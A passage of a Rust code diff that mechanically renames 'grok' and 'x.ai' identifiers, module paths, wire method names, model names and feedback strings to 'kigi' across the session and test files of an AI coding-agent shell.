 fn regression_skill() -> kigi_tools::implementations::skills::types::SkillInfo {
     kigi_tools::implementations::skills::types::SkillInfo {
@@ -149,9 +147,9 @@ fn stale_source_reminder() -> ConversationItem {
          - stale-source-skill: from the source session.\n</system-reminder>",
     )
 }
-/// Regression: a zero-turn agent rebuild INTO a grok/Default agent
+/// Regression: a zero-turn agent rebuild INTO a kigi/Default agent
 /// must re-inject the baseline skill `<system-reminder>`. `initialize()`
-/// is otherwise the only place skills are surfaced for the grok agent, so
+/// is otherwise the only place skills are surfaced for the kigi agent, so
 /// before the fix a switch into such an agent — whose rebuilt bridge holds
 /// a pending `BaselineChange` — dropped the skill listing for a no-tool first
 /// turn. Drives the real `inject_baseline_skill_reminder` seam that
@@ -187,7 +185,7 @@ async fn rebuild_reinjects_baseline_skill_reminder_for_non_cursor() {
             let text = reminder.text_content();
             assert!(
                 text.contains("The following skills are available for use:"),
-                "reminder must carry the grok skill catalog header:\n{text}",
+                "reminder must carry the kigi skill catalog header:\n{text}",
             );
             assert!(
                 text.contains("regression-baseline-skill"),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/subagent_usage_fold_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/subagent_usage_fold_tests.rs
index fffb59a..a00a52a 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/subagent_usage_fold_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/subagent_usage_fold_tests.rs
@@ -88,7 +88,7 @@ async fn subagent_usage_fold_attribution_gate() {
 #[test]
 fn usage_drain_outcome_policy_matches_freeze_and_cancel() {
     use super::turn::UsageDrainOutcome;
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
 
     let none = UsageDrainOutcome::from_outstanding_reply(None);
     assert!(none.fail_closed);
@@ -341,11 +341,10 @@ async fn snapshot_ors_ledger_incomplete_even_when_reply_complete() {
 /// Scripted coordinator stub: answers each `Outstanding` query with the next
 /// queued reply, repeating the last one; other events are ignored.
 fn scripted_outstanding_responder(
-    replies: Vec<kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply>,
-) -> tokio::sync::mpsc::UnboundedSender<
-    kigi_tools::implementations::grok_build::task::types::SubagentEvent,
-> {
-    use kigi_tools::implementations::grok_build::task::types::SubagentEvent;
+    replies: Vec<kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply>,
+) -> tokio::sync::mpsc::UnboundedSender<kigi_tools::implementations::kigi::task::types::SubagentEvent>
+{
+    use kigi_tools::implementations::kigi::task::types::SubagentEvent;
     let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel::<SubagentEvent>();
     tokio::task::spawn_local(async move {
         let mut queue = replies.into_iter();
@@ -365,7 +364,7 @@ fn scripted_outstanding_responder(
 /// ledgers are marked incomplete.
 #[tokio::test(flavor = "current_thread")]
 async fn freeze_timeout_marks_report_and_both_ledgers() {
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
     tokio::task::LocalSet::new()
         .run_until(async {
             let mut actor = make_actor().await;
@@ -404,7 +403,7 @@ async fn freeze_timeout_marks_report_and_both_ledgers() {
 /// because its fold still lands on the session ledger at completion.
 #[tokio::test(flavor = "current_thread")]
 async fn freeze_background_only_flags_report_not_ledgers() {
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
     tokio::task::LocalSet::new()
         .run_until(async {
             let mut actor = make_actor().await;
@@ -446,7 +445,7 @@ async fn freeze_background_only_flags_report_not_ledgers() {
 #[tokio::test(flavor = "current_thread")]
 async fn finalize_background_only_flags_report_not_ledgers() {
     use super::turn::UsageDrainOutcome;
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
 
     tokio::task::LocalSet::new()
         .run_until(async {
@@ -583,7 +582,7 @@ async fn apply_miss_matching_pin_stains_prompt_and_session() {
 /// Sticky (session-only) is report-only on freeze: session ledger stays complete.
 #[tokio::test(flavor = "current_thread")]
 async fn freeze_sticky_only_flags_report_not_ledgers() {
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
     tokio::task::LocalSet::new()
         .run_until(async {
             let mut actor = make_actor().await;
@@ -637,7 +636,7 @@ async fn freeze_sticky_only_flags_report_not_ledgers() {
 /// A fold landing mid-drain completes cleanly: no incomplete flag anywhere.
 #[tokio::test(flavor = "current_thread")]
 async fn freeze_completes_when_fold_lands_mid_drain() {
-    use kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply;
+    use kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply;
     tokio::task::LocalSet::new()
         .run_until(async {
             let mut actor = make_actor().await;
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/support.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/support.rs
index 191b288..a2231d6 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/support.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/support.rs
@@ -21,16 +21,16 @@ pub(crate) async fn test_agent_default() -> kigi_agent::Agent {
 /// resolve to their builtins when a turn is driven through `handle_prompt`.
 #[cfg(test)]
 pub(crate) async fn test_agent_with_goal_tool() -> kigi_agent::Agent {
-    use kigi_tools::implementations::grok_build::update_goal::UpdateGoalTool;
+    use kigi_tools::implementations::kigi::update_goal::UpdateGoalTool;
     use kigi_tools::registry::types::ToolConfig;
     test_agent_with_tools(vec![ToolConfig::for_tool::<UpdateGoalTool>()]).await
 }
-/// Grok-build agent with the real `TodoWriteTool` (id `todo_write`, kind
+/// Kigi-build agent with the real `TodoWriteTool` (id `todo_write`, kind
 /// `Plan`) registered, so `tool_for_kind(ToolKind::Plan)` resolves through the
 /// live toolset instead of the literal fallback.
 #[cfg(test)]
-pub(crate) async fn test_grok_build_agent_with_todo() -> kigi_agent::Agent {
-    use kigi_tools::implementations::grok_build::todo::TodoWriteTool;
+pub(crate) async fn test_kigi_agent_with_todo() -> kigi_agent::Agent {
+    use kigi_tools::implementations::kigi::todo::TodoWriteTool;
     use kigi_tools::registry::types::ToolConfig;
     test_agent_with_tools(vec![ToolConfig::for_tool::<TodoWriteTool>()]).await
 }
@@ -39,8 +39,8 @@ pub(crate) async fn test_grok_build_agent_with_todo() -> kigi_agent::Agent {
 /// `exit_plan_mode` only finalizes when `enter_plan_mode` is also present.
 #[cfg(test)]
 pub(crate) async fn test_agent_with_plan_tools() -> kigi_agent::Agent {
-    use kigi_tools::implementations::grok_build::enter_plan_mode::EnterPlanModeTool;
-    use kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeTool;
+    use kigi_tools::implementations::kigi::enter_plan_mode::EnterPlanModeTool;
+    use kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeTool;
     use kigi_tools::registry::types::ToolConfig;
     test_agent_with_tools(vec![
         ToolConfig::for_tool::<EnterPlanModeTool>(),
@@ -57,7 +57,7 @@ pub(crate) async fn test_agent_with_tools(
             tools,
             behavior_preset: None,
         },
-        kigi_agent::AgentDefinition::default_grok_build(),
+        kigi_agent::AgentDefinition::default_kigi(),
         std::sync::Arc::new(kigi_tools::computer::local::LocalTerminalBackend::new()),
     )
     .await
@@ -78,7 +78,7 @@ async fn test_agent_from_config(
         backend,
         fs,
         cwd: std::path::PathBuf::from("/tmp"),
-        session_folder: std::env::temp_dir().join("grok-test"),
+        session_folder: std::env::temp_dir().join("kigi-test"),
         session_env: std::sync::Arc::new(std::collections::HashMap::new()),
         notification_handle: ToolNotificationHandle::noop(),
         owner_session_id: None,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/turn_completion_emit_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/turn_completion_emit_tests.rs
index bf0a696..bd219a3 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/turn_completion_emit_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/turn_completion_emit_tests.rs
@@ -388,7 +388,7 @@ async fn send_now_cancel_stamps_cancel_trigger_on_turn_end() {
             let mut wire_meta = None;
             while let Ok(msg) = gateway_rx.try_recv() {
                 if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                    && args.request.method.as_ref() == "x.ai/session_notification"
+                    && args.request.method.as_ref() == "kigi/session_notification"
                     && let Ok(v) =
                         serde_json::from_str::<serde_json::Value>(args.request.params.get())
                     && v["update"]["sessionUpdate"] == "turn_completed"
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/web_search_e2e_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/web_search_e2e_tests.rs
index 80b58b2..b1c6b06 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/web_search_e2e_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/web_search_e2e_tests.rs
@@ -9,7 +9,7 @@ async fn web_search_errors_when_disabled() {
     let builder = crate::tools::bridge::ToolBridge::get_builder();
     let config = ToolServerConfig {
         tools: vec![ToolConfig {
-            id: "GrokBuild:web_search".into(),
+            id: "Kigi:web_search".into(),
             params: None,
             name_override: None,
             params_name_overrides: None,
@@ -26,13 +26,13 @@ async fn web_search_errors_when_disabled() {
         backend: terminal,
         fs,
         cwd: std::env::temp_dir(),
-        session_folder: std::env::temp_dir().join("grok-web-search-disabled"),
+        session_folder: std::env::temp_dir().join("kigi-web-search-disabled"),
         session_env: std::sync::Arc::new(std::collections::HashMap::new()),
         notification_handle: ToolNotificationHandle::noop(),
         owner_session_id: None,
         parent_scheduler_handle: None,
         skills: vec![],
-        state_path: std::env::temp_dir().join("grok-web-search-disabled/state.json"),
+        state_path: std::env::temp_dir().join("kigi-web-search-disabled/state.json"),
         memory_backend: None,
         web_search_config: kigi_tools::implementations::web_search::WebSearchConfig::Disabled,
         web_fetch_config: Default::default(),
diff --git a/crates/codegen/kigi-shell/src/session/acp_types.rs b/crates/codegen/kigi-shell/src/session/acp_types.rs
index 62f3f0b..f2ab16a 100644
--- a/crates/codegen/kigi-shell/src/session/acp_types.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_types.rs
@@ -460,7 +460,7 @@ pub struct ContextInfo {
     /// at the time this snapshot was captured. Comes from the 6-tier resolution
     /// (env > user per-model > user global > GB per-model > GB global > 85).
     /// Used by the TUI `/context` view so the displayed “Auto-compact at X%”
-    /// always matches the actual trigger (e.g. 65 for grok-build in remote settings).
+    /// always matches the actual trigger (e.g. 65 for kigi in remote settings).
     #[serde(default = "default_auto_compact_threshold")]
     pub auto_compact_threshold_percent: u8,
     /// Itemized usage rows (skills listing, MCP server listing). Empty on
@@ -495,7 +495,7 @@ fn default_auto_compact_threshold() -> u8 {
 #[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct SessionInfoData {
-    /// Agent definition name for this session (e.g. `grok-build`).
+    /// Agent definition name for this session (e.g. `kigi`).
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub agent_name: Option<String>,
     pub model: Option<String>,
@@ -554,7 +554,7 @@ pub fn model_display_name(
     model.to_string()
 }
 
-/// Full wire response for `x.ai/session/info`.
+/// Full wire response for `kigi/session/info`.
 ///
 /// Wraps `SessionInfoData` with session-level fields (`session_id`, `cwd`)
 /// that come from the agent layer rather than the session actor.
@@ -659,7 +659,7 @@ mod tests {
         );
         assert_eq!(input.session_id, "sess-1");
 
-        let submission = input.to_submission(Some("grok-3".into()), None, None, Some(5));
+        let submission = input.to_submission(Some("kigi-3".into()), None, None, Some(5));
         assert_eq!(
             submission.client_type,
             crate::session::feedback_types::ClientType::Desktop
diff --git a/crates/codegen/kigi-shell/src/session/agent_rebuild.rs b/crates/codegen/kigi-shell/src/session/agent_rebuild.rs
index feba196..faabebc 100644
--- a/crates/codegen/kigi-shell/src/session/agent_rebuild.rs
+++ b/crates/codegen/kigi-shell/src/session/agent_rebuild.rs
@@ -44,12 +44,12 @@ use kigi_agent::prompt::context::PromptAudience;
 use kigi_agent::prompt::skills::SkillsConfig;
 use kigi_agent::{Agent, AgentBuilder, CompactionPolicy, ReminderPolicy};
 use kigi_tools::computer::types::{AsyncFileSystem, TerminalBackend};
-use kigi_tools::implementations::grok_build::ask_user_question::types::UserQuestionRequest;
-use kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig;
-use kigi_tools::implementations::grok_build::task::types::{
+use kigi_tools::implementations::kigi::ask_user_question::types::UserQuestionRequest;
+use kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig;
+use kigi_tools::implementations::kigi::task::types::{
     MonitorEventBuffer, SubagentEvent, TaskModelValidator,
 };
-use kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig;
+use kigi_tools::implementations::kigi::web_fetch::WebFetchConfig;
 use kigi_tools::implementations::lsp::LspBackend;
 use kigi_tools::implementations::web_search::WebSearchConfig;
 use kigi_tools::notification::ToolNotificationHandle;
@@ -125,7 +125,7 @@ pub(crate) struct AgentRebuildSpec {
     pub system_prompt_label: String,
     pub owner_session_id: Option<String>,
     pub parent_scheduler_handle:
-        Option<kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle>,
+        Option<kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle>,
 }
 impl AgentRebuildSpec {
     /// Build a fresh [`Agent`] from this spec and an [`AgentDefinition`].
@@ -305,10 +305,10 @@ impl AgentRebuildSpec {
             }))
             .await;
         if let Some(event_tx) = subagent_event_tx.clone() {
-            use kigi_tools::implementations::grok_build::task::backend::{
+            use kigi_tools::implementations::kigi::task::backend::{
                 ChannelBackend, SubagentBackendResource,
             };
-            use kigi_tools::implementations::grok_build::task::types::{
+            use kigi_tools::implementations::kigi::task::types::{
                 SessionIdResource, SubagentDepthCounter, SubagentEventSender,
             };
             let backend = SubagentBackendResource(Arc::new(ChannelBackend::new(event_tx.clone())));
@@ -342,7 +342,7 @@ impl AgentRebuildSpec {
             ))
             .await;
         {
-            use kigi_tools::implementations::grok_build::ask_user_question::UserQuestionSender;
+            use kigi_tools::implementations::kigi::ask_user_question::UserQuestionSender;
             agent
                 .tool_bridge()
                 .update_resource(UserQuestionSender(user_question_tx.clone()))
@@ -424,13 +424,13 @@ mod tests {
         let toolset = agent.tool_bridge().toolset();
         let task_name = toolset
             .tool_name_for_kind(kigi_tools::types::tool::ToolKind::Task)
-            .expect("GrokBuild Task tool should be present");
+            .expect("Kigi Task tool should be present");
         toolset
             .tool_definitions()
             .into_iter()
             .find(|definition| definition.function.name == task_name)
             .and_then(|definition| definition.function.description)
-            .expect("GrokBuild Task description should be present")
+            .expect("Kigi Task description should be present")
     }
     #[tokio::test(flavor = "current_thread")]
     async fn rebuild_projects_fresh_public_model_keys_into_task_description() {
@@ -453,7 +453,7 @@ mod tests {
                 models_manager
                     .insert_test_entry("private-unselectable-model", unselectable);
                 let first = spec
-                    .build_agent(AgentDefinition::default_grok_build())
+                    .build_agent(AgentDefinition::default_kigi())
                     .await
                     .expect("first agent build should succeed");
                 let first_description = task_description(&first);
@@ -478,7 +478,7 @@ mod tests {
                     .insert_test_entry("beta-public", model_entry("internal-beta"));
                 assert!(validator.error_for("beta-public").is_none());
                 let rebuilt = spec
-                    .build_agent(AgentDefinition::default_grok_build())
+                    .build_agent(AgentDefinition::default_kigi())
                     .await
                     .expect("rebuilt agent should succeed");
                 let rebuilt_description = task_description(&rebuilt);
diff --git a/crates/codegen/kigi-shell/src/session/commands.rs b/crates/codegen/kigi-shell/src/session/commands.rs
index 068b888..58f74b7 100644
--- a/crates/codegen/kigi-shell/src/session/commands.rs
+++ b/crates/codegen/kigi-shell/src/session/commands.rs
@@ -186,10 +186,10 @@ pub enum SessionCommand {
     /// and does NOT update `primaryModelId` in signals — the resolved model
     /// is already tracked via inference responses), this command also calls
     /// `set_primary_model()` so that signals report the override model
-    /// rather than the agent-level default (e.g. `grok-4.5`).
+    /// rather than the agent-level default (e.g. `kigi-4.5`).
     ///
     /// Keeps the existing base_url, api_key, and other config — only changes
-    /// the `model` field sent in the `x-grok-model-override` header and merges
+    /// the `model` field sent in the `x-kigi-model-override` header and merges
     /// any additional headers (e.g. `x-openrouter-api-key` for BYOK).
     ///
     /// Used to set model IDs (e.g. opaque third-party routing names) that are
@@ -256,7 +256,7 @@ pub enum SessionCommand {
         request: RewindRequest,
         respond_to: oneshot::Sender<anyhow::Result<RewindResponse>>,
     },
-    /// Out-of-band history repair (`x.ai/session/repair`): fix tool-pairing
+    /// Out-of-band history repair (`kigi/session/repair`): fix tool-pairing
     /// violations (orphaned/displaced `ToolResult`s, duplicates, unanswered
     /// calls) that would otherwise 400 on every request. `dry_run` only
     /// reports. Refused while a turn is in flight.
@@ -329,7 +329,7 @@ pub enum SessionCommand {
         respond_to: oneshot::Sender<()>,
     },
     /// Update MCP servers for an existing session (used during reconnect or
-    /// mid-session via the `x.ai/session/update_mcp_servers` extension method).
+    /// mid-session via the `kigi/session/update_mcp_servers` extension method).
     /// This replaces the current MCP server configuration and triggers re-initialization.
     ///
     /// The caller is notified via `respond_to` once MCP re-initialization
@@ -453,7 +453,7 @@ pub enum SessionCommand {
         action: kigi_hooks_plugins_types::PluginsAction,
         respond_to: oneshot::Sender<kigi_hooks_plugins_types::ActionOutcome>,
     },
-    /// This session's plugin registry, as served by `x.ai/plugins/list`.
+    /// This session's plugin registry, as served by `kigi/plugins/list`.
     PluginsList {
         respond_to: oneshot::Sender<Option<std::sync::Arc<kigi_agent::plugins::PluginRegistry>>>,
     },
@@ -515,7 +515,7 @@ pub enum SessionCommand {
     },
     /// Replace the text of a queued (not-yet-running) prompt in place
     /// (server-side LWW). Last write wins via the actor's
-    /// serialized mailbox; the rebroadcast of `x.ai/queue/changed` is the
+    /// serialized mailbox; the rebroadcast of `kigi/queue/changed` is the
     /// truth signal for every attached client. The original `owner`
     /// attribution is preserved; `editor` is recorded as the most recent
     /// editor (for future "alice edited this" UX). A missing id, or an id
@@ -533,7 +533,7 @@ pub enum SessionCommand {
     /// like [`RemoveQueuedPrompt`]. A benign no-op (the prompt stays queued and
     /// runs normally) when no turn is running, the id names the running turn, is
     /// stale/already-drained, or `owner` doesn't match. The rebroadcast of
-    /// `x.ai/queue/changed` is the truth signal for every attached client.
+    /// `kigi/queue/changed` is the truth signal for every attached client.
     InterjectQueuedPrompt {
         id: String,
         expected_version: u64,
@@ -630,7 +630,7 @@ pub enum SessionCommand {
     ///
     /// Fired by the client after a turn completes. The session builds a
     /// compact text-only transcript of the recent conversation, makes one
-    /// tool-free model call (default `grok-build-0.1` when available via
+    /// tool-free model call (default `kigi-0.1` when available via
     /// `model_override`, else the session model), sanitizes the output, and
     /// returns the predicted prompt via `respond_to`. Best-effort: any
     /// failure returns `None`.
@@ -640,7 +640,7 @@ pub enum SessionCommand {
     },
     /// Rewrite a raw memory note into well-structured markdown via a one-shot
     /// LLM call. The session uses `prepare_chat_completion()` with
-    /// `grok-build` model, low temperature, and capped output tokens.
+    /// `kigi` model, low temperature, and capped output tokens.
     RewriteMemoryNote {
         raw_text: String,
         context_summary: String,
@@ -653,7 +653,7 @@ pub enum SessionCommand {
     Interject {
         text: String,
         /// Client-minted id echoed back on the broadcast
-        /// `x.ai/session/interjection` so the originating pager can dedup its
+        /// `kigi/session/interjection` so the originating pager can dedup its
         /// optimistic local block. `None` from older clients.
         id: Option<String>,
         /// Pasted images riding along with the interjection. Empty from
diff --git a/crates/codegen/kigi-shell/src/session/compaction.rs b/crates/codegen/kigi-shell/src/session/compaction.rs
index 54746b4..2ce480e 100644
--- a/crates/codegen/kigi-shell/src/session/compaction.rs
+++ b/crates/codegen/kigi-shell/src/session/compaction.rs
@@ -1243,7 +1243,7 @@ impl SessionActor {
                         self.tool_context.subagent_event_tx
                     {
                         let (tx, rx) = tokio::sync::oneshot::channel();
-                        use kigi_tools::implementations::grok_build::task::types::{
+                        use kigi_tools::implementations::kigi::task::types::{
                             SubagentEvent, SubagentListActiveRequest,
                         };
                         let _ =
@@ -2830,11 +2830,11 @@ mod inline_auto_compact_flow_tests {
             SuppressReason::CreditBlock
         );
         assert_eq!(
-            classify("API error (status 402 Payment Required): Grok Build usage balance exhausted"),
+            classify("API error (status 402 Payment Required): Kigi usage balance exhausted"),
             SuppressReason::CreditBlock
         );
         assert_eq!(
-            classify("Grok Build usage limit reached"),
+            classify("Kigi usage limit reached"),
             SuppressReason::CreditBlock
         );
         assert_eq!(
diff --git a/crates/codegen/kigi-shell/src/session/compaction_config.rs b/crates/codegen/kigi-shell/src/session/compaction_config.rs
index 4db8aca..e264517 100644
--- a/crates/codegen/kigi-shell/src/session/compaction_config.rs
+++ b/crates/codegen/kigi-shell/src/session/compaction_config.rs
@@ -163,7 +163,7 @@ mod prefire_state_tests {
             note1: "NOTE1".to_string(),
             prefix_len: 3,
             fingerprint: 42,
-            model_slug: "grok".to_string(),
+            model_slug: "kigi".to_string(),
             pass1_latency_ms: 5,
         }
     }
diff --git a/crates/codegen/kigi-shell/src/session/events.rs b/crates/codegen/kigi-shell/src/session/events.rs
index 5538b23..6b4c6bd 100644
--- a/crates/codegen/kigi-shell/src/session/events.rs
+++ b/crates/codegen/kigi-shell/src/session/events.rs
@@ -569,7 +569,7 @@ pub const GOAL_ROLE_MODEL_FAIL_OPEN_SPAWN_FAILED: &str = "spawn_failed";
 
 /// Fail-open — the configured `agent_type` resolves as a STRICT harness whose
 /// subagent flavor `resolve_subagent_toolset` can't represent (e.g. `codex`):
-/// committing it would silently run grok-build flavor. Distinct from
+/// committing it would silently run kigi flavor. Distinct from
 /// `toolset_unknown` (a name that doesn't resolve at all).
 pub const GOAL_ROLE_MODEL_FAIL_OPEN_HARNESS_FLAVOR_UNSUPPORTED: &str = "harness_flavor_unsupported";
 
diff --git a/crates/codegen/kigi-shell/src/session/export.rs b/crates/codegen/kigi-shell/src/session/export.rs
index 2f773a4..3a38a3c 100644
--- a/crates/codegen/kigi-shell/src/session/export.rs
+++ b/crates/codegen/kigi-shell/src/session/export.rs
@@ -24,7 +24,7 @@ struct XaiJsonRpcNotification<'a> {
 }
 
 const ACP_SESSION_UPDATE_METHOD: &str = "session/update";
-const XAI_SESSION_UPDATE_METHOD: &str = "_x.ai/session/update";
+const XAI_SESSION_UPDATE_METHOD: &str = "_kigi/session/update";
 
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ExportedMessage {
diff --git a/crates/codegen/kigi-shell/src/session/feedback.rs b/crates/codegen/kigi-shell/src/session/feedback.rs
index e668fc5..bd0a1ff 100644
--- a/crates/codegen/kigi-shell/src/session/feedback.rs
+++ b/crates/codegen/kigi-shell/src/session/feedback.rs
@@ -1,4 +1,4 @@
-//! Feedback request heuristics for Grok Code sessions.
+//! Feedback request heuristics for Kigi Code sessions.
 //!
 //! This module implements the feedback request decision logic based on session signals.
 //! It uses tiered probability sampling to request feedback at appropriate moments
@@ -245,7 +245,7 @@ impl FeedbackHeuristics {
             tier1_feedback_mode: FeedbackMode::Thumbs,
             tier1_dismissible: true,
             tier1_prompt:
-                "You've been using Grok Code productively! Would you mind sharing quick feedback?"
+                "You've been using Kigi Code productively! Would you mind sharing quick feedback?"
                     .to_string(),
 
             // Tier 2: Complex session with friction
@@ -452,7 +452,7 @@ impl FeedbackHeuristics {
             tier1_feedback_mode: FeedbackMode::Thumbs,
             tier1_dismissible: true,
             tier1_prompt:
-                "You've been using Grok Code productively! Would you mind sharing quick feedback?"
+                "You've been using Kigi Code productively! Would you mind sharing quick feedback?"
                     .to_string(),
             tier2_enabled: true,
             tier2_sample_rate: 0.0002,
@@ -774,7 +774,7 @@ impl FeedbackRequest {
             Some(p) if !p.is_empty() => p.to_string(),
             _ => match tier {
                 FeedbackTier::Tier1 => {
-                    "You've been using Grok Code productively! Would you mind sharing quick feedback?".to_string()
+                    "You've been using Kigi Code productively! Would you mind sharing quick feedback?".to_string()
                 }
                 FeedbackTier::Tier2 => {
                     "You've worked through a complex session. Your feedback would help us improve.".to_string()
diff --git a/crates/codegen/kigi-shell/src/session/feedback_manager.rs b/crates/codegen/kigi-shell/src/session/feedback_manager.rs
index f1d3e9a..b595787 100644
--- a/crates/codegen/kigi-shell/src/session/feedback_manager.rs
+++ b/crates/codegen/kigi-shell/src/session/feedback_manager.rs
@@ -374,7 +374,7 @@ impl FeedbackManager {
     /// heuristics, sampling, cooldown, and enabled checks.
     ///
     /// Engineers developing clients can call this via the
-    /// `x.ai/debug/trigger_feedback` ACP extension method to exercise
+    /// `kigi/debug/trigger_feedback` ACP extension method to exercise
     /// the full feedback notification ↔ response flow without needing a
     /// real session that meets tier criteria.
     #[tracing::instrument(name = "feedback.force_feedback_request", skip_all, fields(
diff --git a/crates/codegen/kigi-shell/src/session/fork.rs b/crates/codegen/kigi-shell/src/session/fork.rs
index bb6d0fd..8b3bfd0 100644
--- a/crates/codegen/kigi-shell/src/session/fork.rs
+++ b/crates/codegen/kigi-shell/src/session/fork.rs
@@ -185,7 +185,7 @@ mod tests {
             source_cwd: "/old/project".to_string(),
             new_cwd: "/new/project".to_string(),
             new_session_id: Some("custom-session-id".to_string()),
-            new_model_id: Some("grok-3".to_string()),
+            new_model_id: Some("kigi-3".to_string()),
             target_prompt_index: None,
             ..Default::default()
         };
@@ -200,7 +200,7 @@ mod tests {
             deserialized.new_session_id,
             Some("custom-session-id".to_string())
         );
-        assert_eq!(deserialized.new_model_id, Some("grok-3".to_string()));
+        assert_eq!(deserialized.new_model_id, Some("kigi-3".to_string()));
     }
 
     #[test]
@@ -223,7 +223,7 @@ mod tests {
             plan_state_copied: true,
             new_cwd: "/new/project".to_string(),
             parent_session_id: "abc123".to_string(),
-            new_model_id: Some("grok-3".to_string()),
+            new_model_id: Some("kigi-3".to_string()),
         };
 
         let json = serde_json::to_string(&response).unwrap();
@@ -235,7 +235,7 @@ mod tests {
         assert!(deserialized.plan_state_copied);
         assert_eq!(deserialized.new_cwd, "/new/project");
         assert_eq!(deserialized.parent_session_id, "abc123");
-        assert_eq!(deserialized.new_model_id, Some("grok-3".to_string()));
+        assert_eq!(deserialized.new_model_id, Some("kigi-3".to_string()));
     }
 
     #[test]
diff --git a/crates/codegen/kigi-shell/src/session/fs_watch.rs b/crates/codegen/kigi-shell/src/session/fs_watch.rs
index 058bcec..33d27f7 100644
--- a/crates/codegen/kigi-shell/src/session/fs_watch.rs
+++ b/crates/codegen/kigi-shell/src/session/fs_watch.rs
@@ -70,7 +70,7 @@ pub(crate) fn forward_to_hunk_tracker(
     }
 }
 
-/// Dedup key for `x.ai/git_head_changed`, shared by the watcher's `GitHead`
+/// Dedup key for `kigi/git_head_changed`, shared by the watcher's `GitHead`
 /// consumer and the post-edit `maybe_notify_git_branch` path so both compute
 /// the same identity (branch | is_worktree | main_repo).
 pub(crate) fn git_head_dedup_key(
@@ -264,7 +264,7 @@ pub(crate) struct CapabilityInputs {
     pub client_notify: bool,
     pub hunk_tracking: bool,
     pub code_nav: bool,
-    /// `x.ai/gitHeadChanged`; opt-in (absent => off).
+    /// `kigi/gitHeadChanged`; opt-in (absent => off).
     pub git_head_changed: Option<bool>,
 }
 
@@ -319,7 +319,7 @@ impl ClientNotify {
 
         match self.mode {
             ClientFsMode::Events => {
-                // Present-tense strings are the `x.ai/fs_notify` wire protocol;
+                // Present-tense strings are the `kigi/fs_notify` wire protocol;
                 // do not sync to internal variant names.
                 let kind_str = match kind {
                     FsEventKind::Created => "Create",
@@ -339,7 +339,7 @@ impl ClientNotify {
                 if let Ok(raw) = to_raw_value(&params) {
                     self.gateway
                         .forward_fire_and_forget(acp::ExtNotification::new(
-                            "x.ai/fs_notify",
+                            "kigi/fs_notify",
                             raw.into(),
                         ));
                 }
@@ -365,7 +365,7 @@ impl ClientNotify {
                 if let Ok(raw) = to_raw_value(&params) {
                     self.gateway
                         .forward_fire_and_forget(acp::ExtNotification::new(
-                            "x.ai/fs/index/delta",
+                            "kigi/fs/index/delta",
                             raw.into(),
                         ));
                 }
@@ -425,7 +425,7 @@ impl ClientNotify {
                 if let Ok(raw) = serde_json::value::to_raw_value(&params) {
                     self.gateway
                         .forward_fire_and_forget(acp::ExtNotification::new(
-                            "x.ai/fs/index",
+                            "kigi/fs/index",
                             raw.into(),
                         ));
                 }
@@ -526,7 +526,7 @@ impl GitHead {
             if let Ok(raw) = serde_json::value::to_raw_value(&params) {
                 self.gateway
                     .forward_fire_and_forget(acp::ExtNotification::new(
-                        "x.ai/git_head_changed",
+                        "kigi/git_head_changed",
                         raw.into(),
                     ));
             }
diff --git a/crates/codegen/kigi-shell/src/session/goal_classifier.rs b/crates/codegen/kigi-shell/src/session/goal_classifier.rs
index 7c6f7fa..453dcc6 100644
--- a/crates/codegen/kigi-shell/src/session/goal_classifier.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_classifier.rs
@@ -444,7 +444,7 @@ pub(crate) async fn capture_git_baseline(workspace_root: &Path) -> Option<String
 /// never sees the spawn live — it is direct (no `task` tool call).
 pub(crate) struct ChannelSpawner {
     pub(crate) event_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+        kigi_tools::implementations::kigi::task::types::SubagentEvent,
     >,
     pub(crate) parent_session_id: String,
     pub(crate) parent_prompt_id: Option<String>,
@@ -503,7 +503,7 @@ impl ChannelSpawner {
         harness_agent_type: Option<String>,
         resume_from: Option<&str>,
     ) -> Result<String, SpawnError> {
-        use kigi_tools::implementations::grok_build::task::types::{
